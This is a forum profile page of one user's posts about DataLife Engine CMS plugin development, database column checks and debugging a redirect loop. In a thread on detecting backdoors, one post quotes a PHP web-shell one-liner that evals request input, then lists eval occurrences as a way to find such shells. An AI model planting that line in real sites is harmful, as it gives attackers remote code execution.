MSW
-
Публикации
37 -
Зарегистрирован
-
Посещение
Сообщения, опубликованные пользователем MSW
-
-
11 минут назад, celsoft сказал:
система логирования ошибок в системе плагинов, просто выведет что поля уже существуют в таблице.
Просто было бы логично и красивее, если бы такие моменты были учтены и происходили проверки в процессе установки плагина, а не выводились ошибки и потом раздавать всем пояснения, что это нормально, так задумано и реализовано в CMS что это не разработчик плагина виноват...
-
23 минуты назад, celsoft сказал:
Зачем вам вообще эти проверки делать?
это да, вот только это справедливо для того случая, когда ставим всё на чистую полностью CMS, но вот если обновляться со старой версии, то база уже есть, значит в ней уже поля имеются и тут мы через систему плагинов снова пытаемся добавить уже имеющиеся поля в базе и получаем конфуз
-
Может в "шаблонизатор" запросов модульной системы добавить теги для добавления полей в таблицу, что то типа:
[ADD_COLUMN_IF_NOTEXIST=таблица|поле|свойство]
например:
[ADD_COLUMN_IF_NOTEXIST={prefix}_files|field1|VARCHAR(40) NOT NULL]
и уже на стороне пхп перед выполнением/компиляцией запроса делать проверку, по типу как в моём примере с пхп
- 1
-
Проблемка при выполнении запросов в базу при установке плагина, при установке происходит добавление необходимых для модуля столбцов, раньше использовал проверку в пхп, на подобии:
$f = $f_sql = array(); $dbZ = $db->query("SHOW columns FROM " . PREFIX . "_files"); while($row = $db->get_row($dbZ)) { $f[] = $row['Field']; } if( !in_array("field1", $f) ) { $f_sql[] = "ADD `field1` VARCHAR(40) NOT NULL"; } if( !in_array("field2", $f) ) { $f_sql[] = "ADD `field2` VARCHAR(40) NOT NULL"; } if( count($f_sql)>0 ) { $db->query("ALTER TABLE " . PREFIX . "_files " . implode(", ", $f_sql) ); }
теперь эти проверки требуется перенести на сторону плагиновой системы, то есть на сторону MySQL
пока что приходит на ум такой вариант:
DROP PROCEDURE IF EXISTS PluginAddColumn; DELIMITER $$ CREATE PROCEDURE PluginAddColumn(IN dbName tinytext, IN tableName tinytext, IN fieldName tinytext, IN fieldDef text) BEGIN IF NOT EXISTS (SELECT * FROM information_schema.COLUMNS WHERE column_name=fieldName AND table_name=tableName AND table_schema=dbName) THEN set @ddl = CONCAT("ALTER TABLE `",tableName,"` ADD COLUMN `",fieldName,"` ",fieldDef); prepare stmt from @ddl; execute stmt; END IF; END $$ DELIMITER ; call PluginAddColumn(Database(), '{prefix}_files', 'field1', "VARCHAR(40) NOT NULL"); call PluginAddColumn(Database(), '{prefix}_files', 'field2', "VARCHAR(40) NOT NULL"); DROP PROCEDURE PluginAddColumn;
Кроме того что это выполняется медленее, ещё проблема:
ЦитатаОшибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELIMITER $$ CREATE PROCEDURE PluginAddColumn(IN dbName tinytext, IN tableName ' at line 1
продолжить
хотя в "скомпилированном" виде запрос из окна ошибки выполняется без ошибок
-
4 минуты назад, Sander1 сказал:
Заменять больший кусок кода...
про больший кусок кода подумал, но думал что вдруг есть предусмотренный вариант какой
хотя конешно предусмотреть все случаи вариантов поиска и замены вряд ли удастся полностью и целиком
-
17 минут назад, celsoft сказал:
Он там ошибочно
ещё вопрос, если требуется заменить второе вхождение
например: engine/classes/uploads/upload.class.php
поиск:
} else { $file_link = $config['http_home_url'] . "engine/skins/images/all_file.png"; $data_url = "#"; $file_play = ""; };
первое вхождение из таблицы " . PREFIX . "_static_files, оно не нужно, а нужно второе из таблицы " . PREFIX . "_files
как в этом случае быть?
-
ещё в дополнение к файлу крона, проблема с файлом /engine/inc/include/functions.inc.php
в нём происходит удаление файлов, загруженных в новость, собственно нужны правки в строки:
@unlink( ROOT_DIR . "/uploads/files/" . $folder_prefix . $file );
$db->query( "DELETE FROM " . PREFIX . "_files WHERE news_id = '{$id}'" );
но:
Файл engine/inc/include/functions.inc.php находится в списке защищенных файлов. Он не может быть модифицирован при помощи системы плагинов.
-
3 минуты назад, celsoft сказал:
Есть и много
можно по поводу крона - https://forum.dle-news.ru/topic/72552-datalife-engine-v130-press-release/?do=findComment&comment=363662 - решение сказать?
-
только пришлось бы для последнего задания, по бекапу, тоже определить $cronmode, а то оно каждый раз выполнялось бы
хотя при вписывании крон заданий для модулей, достаточно было бы заканчивать их die ("done"); или подобным, тогда бекап каждый раз не дёргался бы
-
20 минут назад, celsoft сказал:
Свою функциальность вы должны добавлять в файлы, которые они подключают.
вот с cron.php как раз проблема, в нём нет стороннего файла, в который можно внести свою функциональность при определённом запросе
может в него подключить файл заглушку, в который уже через систему плагинов можно вписывать нужные $cronmode?
например перед if($cronmode == "sitemap") {
добавить инклуд:
include_once (DLEPlugins::Check(ENGINE_DIR . '/modules/cron_plugins.php'));
и все нужные задания для крона модулей уже через систему плагинов вносились бы в этот файл
-
Поправка, файлы
engine/inc/addnews.php
engine/inc/editnews.php
сохраняются, почему то с первого раза не сохранились, ну то ладно
вопрос с файлом крона остался
-
Вопросик:
Нельзя вносить правки в плагине для файлов в engine/inc
например для отслеживания добавляемых новостей, а они могут добавляться не только с сайта но и с админ панели
а так как система не вносит правки в эти файлы то надо вручную вносить часть правок в эти файлы и каждый раз снова перевносить после обновления движка
так же как и файл cron.php в корне сайта - не сохраняются правки в плагине
как с этим быть? есть идеи кроме старой системы внесения правок вручную?
-
Набросал скрипт, который пересчитает комментарии у проблемных новостях:
/* ===================================================== Модуль: Comments Re-Count for DLE Версия: 1.0 ----------------------------------------------------- Автор: MSW Сайт: http://0-web.ru/ ===================================================== Copyright (c) 2013 MSW ===================================================== */ @error_reporting ( E_ALL ^ E_WARNING ^ E_NOTICE ); @ini_set ( 'display_errors', true ); @ini_set ( 'html_errors', false ); @ini_set ( 'error_reporting', E_ALL ^ E_WARNING ^ E_NOTICE ); define ( 'DATALIFEENGINE', true ); define ( 'ROOT_DIR', dirname ( __FILE__ ) ); define ( 'ENGINE_DIR', ROOT_DIR . '/engine' ); include ENGINE_DIR . '/data/config.php'; require_once ENGINE_DIR . '/classes/mysql.php'; require_once ENGINE_DIR . '/data/dbconfig.php'; @header("Content-type: text/html; charset=".$config['charset']); $p = $db->query("SELECT id, comm_num FROM ".PREFIX."_post WHERE comm_num>0"); while( $r = $db->get_row($p) ) { $z = $db->super_query("SELECT COUNT(id) as c FROM ".PREFIX."_comments WHERE post_id='{$r['id']}'"); if($z['c'] != $r['comm_num']) { $db->query("UPDATE ".PREFIX."_post SET comm_num='{$z['c']}' WHERE id='{$r['id']}'"); } }
сохранить например в файл comm.php в корне сайта и запустить его через браузер
-
такая же проблема, в гугл вебмастер насчитал 1328 таких страниц. что делать?
Файл: /engine/classes/comments.class.php
удалить:
if ($config['seo_control'] AND $re_url) {
$re_url = str_replace( $config['http_home_url'], "/", $re_url );
header("HTTP/1.0 301 Moved Permanently");
header("Location: {$re_url}");
die("Redirect");
}
-
в сам запрос не добавлена выборка доп полей.
и если в доп поле картинка то насколько понял этого уже не надо:
preg_match_all( '#<img[^>]*ssrc=('|")(.*?)1.*?>#i',$shortnews,$total);
foreach( $total[2] as $image ){
пробуй эхать переменные, отлаживай)))
-
для начала в запроса надо добавить поле хфилд
потом в коде разбираешь их
$xfieldsdata = xfieldsdataload($row['xfields']);
и используешь$xfieldsdata['poster_v_krarkoi'][/code]
где в коде твоём что вставить точно - не подскажу, уж сильно он тут не форматирован и с первого взгляда сложно разобрать))
-
в списке найти нужную новость
так вот проблема какраз в том что не возможно найти новость это только допобработку писать для их поиска и устранения
надо в оптимизацию там же где пересчёт комментариев юзера и пересчёт комментариев новостей сделать
-
Два вороса :
1. На версии 9.7 будет работать ?
2. Как поставить иной срок не в 14дней ?
1. у меня работает.
2. там же в новости всё описано как и что поменять
-
Зашел на страничку http://megafile.ws/s...-web-dlrip.html и всё нормально
всё нормально потому что восстановил комментарии от этой новости.
-
да вот как оказалось может))
причины могут быть разные - от склейки баз, от частичного восстановления базы и т.д.
-
страничка открывается так как сейчас выключен контроль, сейчас я его заново включил.
изменения вносились только в виде добавления чпу ссылок типа:
RewriteRule ^random.html$ /?do=random [L] RewriteRule ^afisha.html$ /?do=afisha [L] RewriteRule ^users.html$ /?do=users [L]
других перенаправлений не внисились и думаю что этот файл в данном случае не участвует так как проблема чётко срабатывает только при включённом контроле ссылок. методом поиска по файлам 301 редиректа и установки die($re_url); выяснил что проблема в /engine/classes/comments.class.php в блоке:if ($config['seo_control'] AND $re_url) { $re_url = str_replace( $config['http_home_url'], "/", $re_url ); header("HTTP/1.0 301 Moved Permanently"); header("Location: {$re_url}"); die("Redirect"); }
Причина это поведения - если в новости есть комментарии а в базе их по каким-то причинам нет то получаем циклическое перенаправление
тоесть например в дле_пост есть у этой новости 2 коммента, а в дле_комментс - этих записей нет...
надо что-то придумать для таких случаев
-
На этой странице обнаружена циклическая переадресация
Загрузка веб-страницы по адресу http://megafile.ws/s...-web-dlrip.html вызвала слишком много переадресаций. Попробуйте очистить для этого сервера файлы cookie или разрешить их прием от независимых сайтов. Если это не поможет, возможно, проблема связана не с вашим компьютером, а с конфигурацией сервера.
Вот несколько советов и рекомендаций:
Ошибка 310 (net::ERR_TOO_MANY_REDIRECTS): Обнаружено слишком много переадресаций.
некоторые страницы сайта вызывают такую ошибку если включено:
Обрабатывать неверные URL ЧПУ:При включении данной опции, будет происходить проверка адреса новостей. Например, при отключенной опции, адреса: http://site.ru/id-имя новости.html и http://site.ru/id-любой текст.html будут вести на одну и ту же страницу. При включении данной опции, будет осуществляться 301 редирект на верный адрес. Данная опция полезна для SEO и при смене адресов новости.
DLE 9.7
если выключить эту опцию то всё нормально.
$ wget http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html --2013-01-16 13:33:15-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Распознаётся megafile.ws (megafile.ws)... 80.252.241.26 Подключение к megafile.ws (megafile.ws)|80.252.241.26|:80... соединение установлено. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:15-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:15-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] --2013-01-16 13:33:16-- http://megafile.ws/serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html Повторное использование соединения с megafile.ws:80. HTTP-запрос отправлен. Ожидание ответа... 301 Moved Permanently Адрес: /serial/s_dram/44815-neshvill-1-sezon-2012-web-dlrip.html [переход] Более 20 перенаправлений.
-
MSW, зачем в таком случае прописывать эту строчку в другие файлы? Можно прописать в один из файлов, которые Вы указали
И единственный eval для php, который есть в DLE это в файле /engine/inc/include/init.php (все остальные это для JS)
я просто показал список всего где встречается *eval*
и если вписать его в любой из файлов из списка то появится ещё одна строка - в списке номер строки и название файла
-
vip-moto, не поможет это
Вот простой пример, как на стороннем сайте можно использовать php-shell и Вы не сможете его найти:
if(isset($_REQUEST['zeos'])) eval(stripslashes($_REQUEST['zeos']));
для этого есть поиск по файлам))
например в чистом виде eval встречается в файлах:
* без учёта js файлов
/engine 92:preview.php /engine/ajax 191:addcomments.php 204:addcomments.php 214:addcomments.php 409:editnews.php /engine/editor 42:shortsite.php 49:shortnews.php 42:static.php /engine/modules 278:antibot.php /engine/classes 68:download.class.php /engine/inc/include 130:inserttag.php 152:inserttag.php 175:inserttag.php 197:inserttag.php 213:inserttag.php 229:inserttag.php 245:inserttag.php 273:inserttag.php 308:inserttag.php 388:inserttag.php 411:inserttag.php 11:init.php /engine/classes/min/lib 190:JSMinPlus.php 1035:FirePHP.php 119:Minify.php /engine/classes/min/lib/HTTP 107:ConditionalGet.php /engine/editor/jscripts/tiny_mce/plugins/spellchecker 16:rpc.php
если в других проявился значит шел
Пожелания для новых версий DataLife Engine
в DataLife Engine (Общие вопросы)
Опубликовано: · Изменено пользователем MSW
Предложение: добавить функцию открытия страницы после установки плагина, например, для дополнительной инструкции по установке модуля, внесению правок в шаблон, настройки параметров и т.д.
Для безопасности можно ограничить - открывать только файлы загруженные на сайт, а не внешние ссылки